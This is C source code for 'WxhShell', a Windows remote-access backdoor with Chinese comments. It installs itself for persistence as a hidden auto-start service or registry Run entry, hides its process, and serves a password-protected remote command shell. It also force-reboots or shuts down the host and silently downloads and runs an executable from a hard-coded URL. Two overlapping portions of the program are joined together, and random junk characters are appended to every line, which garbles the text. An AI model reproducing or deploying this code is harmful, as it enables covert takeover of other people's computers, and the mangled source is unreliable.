    if(Boot(SHUTDOWN)) qMcOSZ%8J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /p[lOg  
    else { e?XQ,  
    closesocket(wsh); R94 ID@LF  
    ExitThread(0); $4rMYEn08  
    } o~p%ODH  
    break; Q-$EBNz  
    }  ZG-[Gz  
  // 获取shell vA@\V)s  
  case 's': { 0tah$;c e  
    CmdShell(wsh); |(UkI?V  
    closesocket(wsh); fBt`D !Z8  
    ExitThread(0); VaFv%%w  
    break; xw83dQ]}^  
  } Kd^,NAg  
  // 退出 )?,X\/5  
  case 'x': { aEC&#Q(]q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;{Su:Ixg  
    CloseIt(wsh); CB%O8d #  
    break; xrC b29{  
    } H7R6Ljd?&S  
  // 离开 Uz; pNWMk  
  case 'q': { .VfBwTh7q8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R"k}wRnxY  
    closesocket(wsh); Q.])En >i  
    WSACleanup(); a?X{k|;!7u  
    exit(1); |a[Id  
    break; $56Z/*  
        } zD}2Zh]  
  } H+2m  
  } y6 _,U/9  
*u`[2xmuYf  
  // 提示信息 ^bDh[O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9)]asY  
} p:8&&v~I  
  } x9B{|+tIoc  
B&k"B?9mL  
  return; 2<' 1m{  
} c2fbqM~  
y72=d?]W  
// shell模块句柄 '-5Q>d~&h  
int CmdShell(SOCKET sock) ZpTT9{PT=:  
{ g4 G?hv`R  
STARTUPINFO si; W|aFEY  
ZeroMemory(&si,sizeof(si)); Xeo2 < @[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6YeEr!zt%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EvEI5/ z  
PROCESS_INFORMATION ProcessInfo; [#Y7iN&  
char cmdline[]="cmd"; y&$v@]t1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,Rh6( I  
  return 0; uzpW0(_i3a  
} JVgV,4 1  
iO_6>&(  
// 自身启动模式 +:&,Ts/  
int StartFromService(void) .W)%*~ O!;  
{  wN4N 2  
typedef struct bF X0UE>  
{ 20XN5dTFT  
  DWORD ExitStatus; Pa-p9]gq  
  DWORD PebBaseAddress; vw/L|b7G  
  DWORD AffinityMask; {x#I&ra  
  DWORD BasePriority; jR CG}'  
  ULONG UniqueProcessId; L]C|&K P  
  ULONG InheritedFromUniqueProcessId; c0%.GcF0{  
}   PROCESS_BASIC_INFORMATION; qz .{[ l  
k;bdzcMkQ  
PROCNTQSIP NtQueryInformationProcess; +jPs0?}s  
IyfhVk?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U:n3V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !^:)zORYR  
e0ea2 2  
  HANDLE             hProcess;  KDODUohC  
  PROCESS_BASIC_INFORMATION pbi; z[q#Dw  
PfRe)JuB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gLyE,1Z}u  
  if(NULL == hInst ) return 0; :QV-!  
S?k G|y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V"T48~Ue  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iVg3=R)[1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _RHB ^y;-  
?'dsiA[  
  if (!NtQueryInformationProcess) return 0; Hmi]qK[F  
0+]ol:i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0A}'@N@G)  
  if(!hProcess) return 0; -t:~d:  
~x:B@Ow  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BmP!/i_  
CQ`$' oy?W  
  CloseHandle(hProcess); OcBK n=8  
4*K~6Vh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C{r Sq  
if(hProcess==NULL) return 0; bCv^za]P6  
$i^#KZ}-WK  
HMODULE hMod; |@a.dgz,  
char procName[255]; ^HYrJr$y  
unsigned long cbNeeded; e95x,|.-_  
m|}};8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 91 ]"D;NN  
|N{?LKR %  
  CloseHandle(hProcess); yMQZulCWE  
-/k;VT|  
if(strstr(procName,"services")) return 1; // 以服务启动 @.PVUP  
iL%Q@!ka  
  return 0; // 注册表启动 ]Ywj@-*q  
} 01 vEt  
9&>)4HNd?  
// 主模块 &K1\"  
int StartWxhshell(LPSTR lpCmdLine) eq|G\XJ  
{ w _*|u  
  SOCKET wsl; $<y10DfO  
BOOL val=TRUE; $!(J4v=X  
  int port=0; VeJM=s.y7  
  struct sockaddr_in door; 7(q EHZEr  
Kn WjP21  
  if(wscfg.ws_autoins) Install(); zSpL^:~  
1qR[& =/  
port=atoi(lpCmdLine); 'q#$^ ='o  
~F</ s.  
if(port<=0) port=wscfg.ws_port; TTJFF\$?  
X"S-f; b#  
  WSADATA data; aetK<9L$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #~ :j< =o  
63J_u-o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    KKfC^g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Lq&;`)BJ  
  door.sin_family = AF_INET; d:U2b"k=/u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h\jV@g$  
  door.sin_port = htons(port); "kE$2Kg  
/``4!jU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ddf7wszW  
closesocket(wsl); sd@JQ%O  
return 1; y%y F34  
} @AXRKYQ{t  
G lz0`z  
  if(listen(wsl,2) == INVALID_SOCKET) { =~OH.=9\  
closesocket(wsl); 4`x.d  
return 1; r[>=iim  
} 'u \my  
  Wxhshell(wsl); ^yO+-A2zC  
  WSACleanup(); v4?qI >/  
k/"^W.B aj  
return 0; 's.cwB: #  
mSw$? >  
}  #E[{  
ewo1^&#>  
// 以NT服务方式启动 ?0v(_ v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $.a4Og2  
{ H`js1b1n  
DWORD   status = 0; i\2d1Z  
  DWORD   specificError = 0xfffffff; e?Pzhh a  
,rvw E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B74L/h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b(hnouS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SJYy,F],V"  
  serviceStatus.dwWin32ExitCode     = 0; : ryE`EhB  
  serviceStatus.dwServiceSpecificExitCode = 0; r%M.rYLG{  
  serviceStatus.dwCheckPoint       = 0; SDdefB  
  serviceStatus.dwWaitHint       = 0; Ueq*R(9>  
`/zx2Tkk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QAp+LSm  
  if (hServiceStatusHandle==0) return; =}:9y6QR.  
C~16Jj:v  
status = GetLastError(); *W'F 6Hpu  
  if (status!=NO_ERROR)  mN>7vJ  
{ y"|QY!fK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uXs.7+f  
    serviceStatus.dwCheckPoint       = 0; C'HW`rh.^  
    serviceStatus.dwWaitHint       = 0; '6^20rj  
    serviceStatus.dwWin32ExitCode     = status; :Hk:Goo2  
    serviceStatus.dwServiceSpecificExitCode = specificError; h0YIPB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0K\Xxo.=  
    return; N5 BC<pu  
  } <A"T_Rk  
'=|2, H]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?\GILB,  
  serviceStatus.dwCheckPoint       = 0; _JlbVe[<  
  serviceStatus.dwWaitHint       = 0; /~w!7n<7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W/(D"[:l%  
} >900I4]I  
YCJ6an  
// 处理NT服务事件,比如:启动、停止 4!'1o`8vs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G_GPnKdd  
{ sSisO?F!Z  
switch(fdwControl) t> D|1E"  
{ Y\7>>?  
case SERVICE_CONTROL_STOP: <h(KI Y9T  
  serviceStatus.dwWin32ExitCode = 0; V SJGp`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7Ao9MF-  
  serviceStatus.dwCheckPoint   = 0; .ZuRH_pI  
  serviceStatus.dwWaitHint     = 0; {K\l3_=5qb  
  { R,mOV8y"W[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X?,ly3,  
  } ` ZO#n  
  return; c/l%:!A  
case SERVICE_CONTROL_PAUSE: r-M:YB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZLsfF =/G  
  break; pmm?Fq!s=  
case SERVICE_CONTROL_CONTINUE: gB4&pPN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4uQ\JD(*Eu  
  break; dGxk ql  
case SERVICE_CONTROL_INTERROGATE: @Q!Jzw#B  
  break; wul$lJ?tE  
};  %+\ PN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?C( ' z7  
} ,EkzBVgo  
H .F-mm  
// 标准应用程序主函数 qJjXN+/D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ws"{Y+L  
{ D?+\"lI  
iD*%' #u  
// 获取操作系统版本 *&WkorByW  
OsIsNt=GetOsVer(); $]V,H"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c$Vu/dgx  
RJpH1XQ j  
  // 从命令行安装 ;E Z5/"T  
  if(strpbrk(lpCmdLine,"iI")) Install(); IM.sW'E  
)-98pp7~BB  
  // 下载执行文件 8Ld`$_E  
if(wscfg.ws_downexe) { U_s3)/'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ``;.Oy6jS  
  WinExec(wscfg.ws_filenam,SW_HIDE); a`c#- je  
} yyp0GV.x  
$w,?%i97  
if(!OsIsNt) { n$2Ia E;v  
// 如果时win9x,隐藏进程并且设置为注册表启动 0c2O'&$au  
HideProc(); k|C~qe3E  
StartWxhshell(lpCmdLine); 9v\x&h  
} bQU{)W  
else U2v;[>=]  
  if(StartFromService()) l ga%U~  
  // 以服务方式启动 ^Rr!YnEN  
  StartServiceCtrlDispatcher(DispatchTable); RIhu9W   
else [Lck55V+Q  
  // 普通方式启动 /{)}y  
  StartWxhshell(lpCmdLine); a0wSXd  
sj9j 47y  
return 0; PK C}!>2  
} csh@C ckC8  
|`T$Iq  
U46qpb 7  
u+5&^"72,  
=========================================== kM:Z(Z7$  
,9A1p06  
HZINsIm!?  
;;4>vF#*  
P O*;V<^  
d}RU-uiW  
" AvmI<U  
c)*,">$#  
#include <stdio.h> V 4#bW  
#include <string.h> T!f+H?6  
#include <windows.h> *VUD!`F  
#include <winsock2.h> Vn=K5nm  
#include <winsvc.h> 539f B,  
#include <urlmon.h> w"Q/ 6#!K  
x?"+Or.h  
#pragma comment (lib, "Ws2_32.lib") n 3eLIA{  
#pragma comment (lib, "urlmon.lib") [QwBSq8)  
N9dx^+\  
#define MAX_USER   100 // 最大客户端连接数 La2f]+sV  
#define BUF_SOCK   200 // sock buffer 9ZD>_a  
#define KEY_BUFF   255 // 输入 buffer }5Zmc6S{  
#+"1">l  
#define REBOOT     0   // 重启 l cX'n8/3  
#define SHUTDOWN   1   // 关机 We`6# \Z X  
K^5f  
#define DEF_PORT   5000 // 监听端口 EXF|; @-"  
APJVD-  
#define REG_LEN     16   // 注册表键长度 W" i3:r  
#define SVC_LEN     80   // NT服务名长度 B*@0l:  
.)g7s? K  
// 从dll定义API Fv} Uq\v[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z%q)}$O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #?h-<KQQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b Y2:g )  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1F' x$~ZI  
O`^dy7>{U  
// wxhshell配置信息 ;u?L>(b  
struct WSCFG { 9dO. ,U*`  
  int ws_port;         // 监听端口 5M&<tj/[a0  
  char ws_passstr[REG_LEN]; // 口令 jmBsPSGIC  
  int ws_autoins;       // 安装标记, 1=yes 0=no LOEiV  
  char ws_regname[REG_LEN]; // 注册表键名 ]<BT+6L  
  char ws_svcname[REG_LEN]; // 服务名 &5y|Q?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sTu]C +A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3Viz0I<%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GK`U<.[c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j,79G^/YG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vn x+1T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <{cf'"O7)  
r>lo@e0G  
}; (:>Sh0.  
Tg@:mw5  
// default Wxhshell configuration veAdk9  
struct WSCFG wscfg={DEF_PORT, ,Ma%"cWVC  
    "xuhuanlingzhe", tiPZ.a~k  
    1, q\G7T{t$.  
    "Wxhshell", a_ \t(U  
    "Wxhshell", LlcH#L$  
            "WxhShell Service", -`CE;  
    "Wrsky Windows CmdShell Service", b?j\YX[e  
    "Please Input Your Password: ", W.(Q u-AE(  
  1, i<M F8 $  
  "http://www.wrsky.com/wxhshell.exe", w\1K.j=>|N  
  "Wxhshell.exe" SQ057V>'=  
    }; HP,{/ $i:  
XC!Y {lp  
// 消息定义模块 !8I80 :e_~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W+i&!'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iBk1QRdn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gLwrYG7@  
char *msg_ws_ext="\n\rExit."; &3|l4R\  
char *msg_ws_end="\n\rQuit."; ! JauMR  
char *msg_ws_boot="\n\rReboot..."; /],9N  
char *msg_ws_poff="\n\rShutdown..."; hO2W!68  
char *msg_ws_down="\n\rSave to "; BUUc9&f3o  
TR9dpt+T  
char *msg_ws_err="\n\rErr!"; Eih6?Lpu  
char *msg_ws_ok="\n\rOK!"; ;0o% hx  
a(AYY<g  
char ExeFile[MAX_PATH]; $"g'C8  
int nUser = 0; l\37/Z  
HANDLE handles[MAX_USER]; EGzlRSgO  
int OsIsNt; Prrz>  
s;#,c(   
SERVICE_STATUS       serviceStatus; t{e}3}LEd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qb$M.-\ne  
:Q}Zb,32  
// 函数声明 ~!P&LZ  
int Install(void); C8O<fwNM  
int Uninstall(void); T~ P<Gq} ,  
int DownloadFile(char *sURL, SOCKET wsh); C6qGCzlG`  
int Boot(int flag); _adW>-wQ!d  
void HideProc(void); U lPhW~F)  
int GetOsVer(void); v,Z?pYYo  
int Wxhshell(SOCKET wsl); M63t4; 0A  
void TalkWithClient(void *cs); Ap> H-/C  
int CmdShell(SOCKET sock); Q"K`~QF"  
int StartFromService(void); sj&1I.@,>  
int StartWxhshell(LPSTR lpCmdLine); Oo/@A_JO@  
_e "  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AG|:mQO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *9US>mVy  
cvC 7#i[G  
// 数据结构和表定义 'VV"$`Fu"  
SERVICE_TABLE_ENTRY DispatchTable[] = >VJ"e`  
{ ^*F'[!. p  
{wscfg.ws_svcname, NTServiceMain}, _sQhDi  
{NULL, NULL} v7<r- <I[  
}; Q zY5S0  
*t`=1Ioj  
// 自我安装 eC_i]q&o|  
int Install(void) vBV_aB1{  
{ 2+yti,s+/  
  char svExeFile[MAX_PATH]; hLaQ[9  
  HKEY key; n`D-?]*  
  strcpy(svExeFile,ExeFile); gR wRhA/  
7)BK&kpVr  
// 如果是win9x系统,修改注册表设为自启动 7!~)a  
if(!OsIsNt) { |N|[E5Cn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !T.yv5ge'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OpmPw4?}  
  RegCloseKey(key); V]/ $ dJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T+>W(w i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pwl7aC+6d  
  RegCloseKey(key); B-wF1! Jv  
  return 0; ,qIut|C*  
    } ",]A.,  
  } >[<f\BN|  
} Vg7BK%  
else { X]s="^  
fz rH}^  
// 如果是NT以上系统,安装为系统服务 HFX,EE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }ok'd=M  
if (schSCManager!=0) q)N^  
{ ?Skv2!X|  
  SC_HANDLE schService = CreateService >iI_bcqF  
  ( X3l6b+p  
  schSCManager, Y r8gKhv W  
  wscfg.ws_svcname, `m\ ?gsw7  
  wscfg.ws_svcdisp,  @4>?Y=#  
  SERVICE_ALL_ACCESS, A s8IjGNs{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k>#-NPU$  
  SERVICE_AUTO_START, uk3PoB^>  
  SERVICE_ERROR_NORMAL, b7HT<$Wg  
  svExeFile, ht*;,[ea  
  NULL, \j0016;  
  NULL, O*9d[jw[  
  NULL, dl+c+w"  
  NULL, LHs^Xo18  
  NULL $Q`\-  
  ); X`7O%HiX/`  
  if (schService!=0) 6\m'MV`R!  
  { uy([>8uu  
  CloseServiceHandle(schService); c  
  CloseServiceHandle(schSCManager); UbP$WIrq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o 'Z W  
  strcat(svExeFile,wscfg.ws_svcname); DK<}q1xi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QLZ%m$Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1Ch0O__2L  
  RegCloseKey(key); 6}:(m#+  
  return 0; `LJ.NY pP  
    } P]4@|u;=6[  
  } ]"i^ VVw  
  CloseServiceHandle(schSCManager); VKy3tW/_&  
} dDqT#N?Y  
} F#|mN0op  
$~T|v7Y%  
return 1; 6W)#F O`  
} #ihHAiy3  
E\VKlu4  
// 自我卸载 ||#+ ^p7G  
int Uninstall(void) NZuylQ)0  
{ RYM[{]4b5F  
  HKEY key; BsYJIKfW  
E>kgEfzxP  
if(!OsIsNt) { 4x" je  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #G("Oh  
  RegDeleteValue(key,wscfg.ws_regname); }QJ6"s  
  RegCloseKey(key); !8o;~PPVl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @Cl1G  
  RegDeleteValue(key,wscfg.ws_regname); MQVEO5   
  RegCloseKey(key); ,sn 9&E  
  return 0; O_Z   
  } ^/7Y3n!|3  
} u@kr;^m  
} y&2O)z!B  
else { CjU?3Ag  
\C`2z]V%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z_87 ;y;=  
if (schSCManager!=0) `YK#m4gc  
{ / KxZ+Ww>v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (&qjY I  
  if (schService!=0) 86~q pN  
  { <s5s<q2  
  if(DeleteService(schService)!=0) { "XKd#ncP  
  CloseServiceHandle(schService); |$c~Jq  
  CloseServiceHandle(schSCManager); sT>l ?L  
  return 0; rq^VOK|L  
  } t<znz6  
  CloseServiceHandle(schService); 01o,9_|FL  
  } "ax"k0  
  CloseServiceHandle(schSCManager); >('Z9<|r:  
} V e4@^Jy;  
} `MXGEJF  
C8 "FTH'  
return 1; r~T3Ieb  
} E7|P\^}m(f  
{_]<mwd  
// 从指定url下载文件 -\}Ix>  
int DownloadFile(char *sURL, SOCKET wsh) \_3#%%z  
{ 4 UnN~  
  HRESULT hr; 6q~*\KRk  
char seps[]= "/"; /7Ft1f  
char *token; &(rR)cG  
char *file; K?acRi  
char myURL[MAX_PATH]; _u8d`7$*%  
char myFILE[MAX_PATH]; w-?Cg8bq<  
GsC4ty  
strcpy(myURL,sURL); f}+8m .g2  
  token=strtok(myURL,seps); [^A>hs*  
  while(token!=NULL) r#/Bz5Jb*  
  { |%5nV=&\  
    file=token; zNJ-JIo%  
  token=strtok(NULL,seps); -LEpT$v|  
  } x|<89o L  
&!O~ f  
GetCurrentDirectory(MAX_PATH,myFILE); y7Y g$)sL  
strcat(myFILE, "\\"); ;>B06v  
strcat(myFILE, file); 2?\L#=<F  
  send(wsh,myFILE,strlen(myFILE),0); #BX^"J{~  
send(wsh,"...",3,0); } OAH/BW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1U~yu&  
  if(hr==S_OK) /S&8%fb  
return 0; kK$*,]iCp  
else W1p5F\ wt  
return 1; \x+"1  
^_pJEX  
} M]M(E) *5  
A0 1 D-)  
// 系统电源模块 K^+}__;]  
int Boot(int flag) UJ6zgsD1b?  
{ M[,G#GO  
  HANDLE hToken; Z;nUS,?om  
  TOKEN_PRIVILEGES tkp; P0XVR_TJf  
d NgjM Q  
  if(OsIsNt) { Blnc y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f/RDo4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #~`]eM5`J  
    tkp.PrivilegeCount = 1; N3rQ]HZiP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z7Xic5PI{4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {>R'IjFc  
if(flag==REBOOT) { \Yd 0oe82  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <.B^\X$  
  return 0; (k&r^V/=  
} ,?zOJ,wl  
else { &u7oa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;m cu(J  
  return 0; 3WQ"3^G  
} KHJk}]K  
  } ![a~y`<K,  
  else { Z* L{;  
if(flag==REBOOT) { <tp#KZE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }g|)+V\A  
  return 0; ;IYH5sG{  
} yCOIv!/zy  
else { nH % 1lD?:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zS+_6s  
  return 0; &i%1\ o  
} aj)?P  
} h1 (MvEt  
%1jApCJ  
return 1; 9 ?~Y  
} -*r]9f6 x  
{-?8r>  
// win9x进程隐藏模块 wz(D }N5  
void HideProc(void) :[ AP^  
{ ]h6mJ{k  
I_h{n{,sr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;&%G)f  
  if ( hKernel != NULL ) :u$+lq  
  { 5};$>47m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r9d dVD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #RA3 T[A  
    FreeLibrary(hKernel); }475c{  
  } }lzN)e  
<7%4=  
return; Y?>us  
} w(xRL#%  
"Nn+Zw43  
// 获取操作系统版本 ,$qqHSd1M  
int GetOsVer(void) w>W`8P_b@  
{ %g<J"/  
  OSVERSIONINFO winfo; :<$IGzw}.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0fd\R_"d.  
  GetVersionEx(&winfo); "<J%@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) * (4TasQu  
  return 1; ]O;Hlty(g  
  else A|esVUo<3^  
  return 0; BOQeP/>  
} GK/Q]}Q8pZ  
u70-HFI@  
// 客户端句柄模块 *KXg;777  
int Wxhshell(SOCKET wsl) Twj?SV  
{ ;I+"MY7D  
  SOCKET wsh; (BA2   
  struct sockaddr_in client; {&Bpf K;`)  
  DWORD myID; >Lo!8Hen  
Q:x:k+O-  
  while(nUser<MAX_USER) +HK)A%QI  
{ ;|hEXd?b  
  int nSize=sizeof(client); f 2#9E+IQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BU="BB/[  
  if(wsh==INVALID_SOCKET) return 1; 4#qjRmt  
<}E^r_NvD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y,bw:vX  
if(handles[nUser]==0) Qjj:r~l  
  closesocket(wsh); Y"uFlHN&i  
else V+dfV`*k  
  nUser++; UEq;}4Bo  
  } 8O]U&A@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J9LS6~ 7  
5g- apod  
  return 0; :8_`T$8i4  
} 9 @yP;{Q  
-%=StWdb   
// 关闭 socket ;!@\|E  
void CloseIt(SOCKET wsh)  afEp4(X~  
{ @Y>3-,o,S  
closesocket(wsh); ]kmOX  
nUser--; 1>*]jj}  
ExitThread(0); /S;o2\  
} 7F-b/AdVq  
>:]fN61#  
// 客户端请求句柄 g[;iVX^1&  
void TalkWithClient(void *cs) Ar sMqb  
{ r1FE$R~C=  
J1<fE(X  
  SOCKET wsh=(SOCKET)cs; e![Q1!r  
  char pwd[SVC_LEN]; e76@-fg  
  char cmd[KEY_BUFF]; \i-jME(sN  
char chr[1]; e>t9\vN#bx  
int i,j; |Z;w k&  
vc2xAAQ  
  while (nUser < MAX_USER) { 4C /8hsn  
4Uf+t?U9  
if(wscfg.ws_passstr) { 6\,^MI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [6S"iNiyKT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SEchF"KJQF  
  //ZeroMemory(pwd,KEY_BUFF); lSyp k-c  
      i=0; l7{hq}@;cC  
  while(i<SVC_LEN) { !E_uQ?/w]Z  
+$>ut r  
  // 设置超时 UKK}$B  
  fd_set FdRead; ~v>w%]  
  struct timeval TimeOut; ,:\2Lf  
  FD_ZERO(&FdRead); ;oFaDTX]  
  FD_SET(wsh,&FdRead); ga^<_;5<  
  TimeOut.tv_sec=8; K=5_jE^e  
  TimeOut.tv_usec=0; N/?Ms rZw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H5RHA^p|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,.`^Wx6F  
*vAOUqX`x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %y w*!A1  
  pwd=chr[0]; uWnS<O  
  if(chr[0]==0xd || chr[0]==0xa) { el|t6ZT*  
  pwd=0; b$R>GQ?#  
  break; <M'IR f/D  
  } ^YIOS]d>8#  
  i++; Bhq(bV  
    }  ,O~2 R  
)vU{JY;  
  // 如果是非法用户,关闭 socket ^Js9E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )q l?}  
} _&%!4n#>  
'c$9[|x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :ZP3$Dp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d}o1 j  
&yA<R::o  
while(1) { g?$9~/h :;  
Lv^j l  
  ZeroMemory(cmd,KEY_BUFF); !F<?he<U  
8&UuwZ6i-  
      // 自动支持客户端 telnet标准   &\X;t|  
  j=0; %|,<\~P  
  while(j<KEY_BUFF) { xRY5[=97  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kx=AX*I  
  cmd[j]=chr[0]; 'j3'n0o  
  if(chr[0]==0xa || chr[0]==0xd) { ppnj.tLz;r  
  cmd[j]=0; bp$jD  
  break; ^r& {V"l]  
  } g^C6"rsnl  
  j++; *tO<wp&  
    } *(scSC>  
V]O :;(W_  
  // 下载文件 >Qx#2x+  
  if(strstr(cmd,"http://")) { LuqaGy}>-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "/'= gE  
  if(DownloadFile(cmd,wsh)) Km nr }Lp9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~+np7  
  else "QF083$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >eTlew<5  
  } %KA/  
  else { X2uX+}h*tA  
u .2sB6}  
    switch(cmd[0]) { 19.cf3Dh  
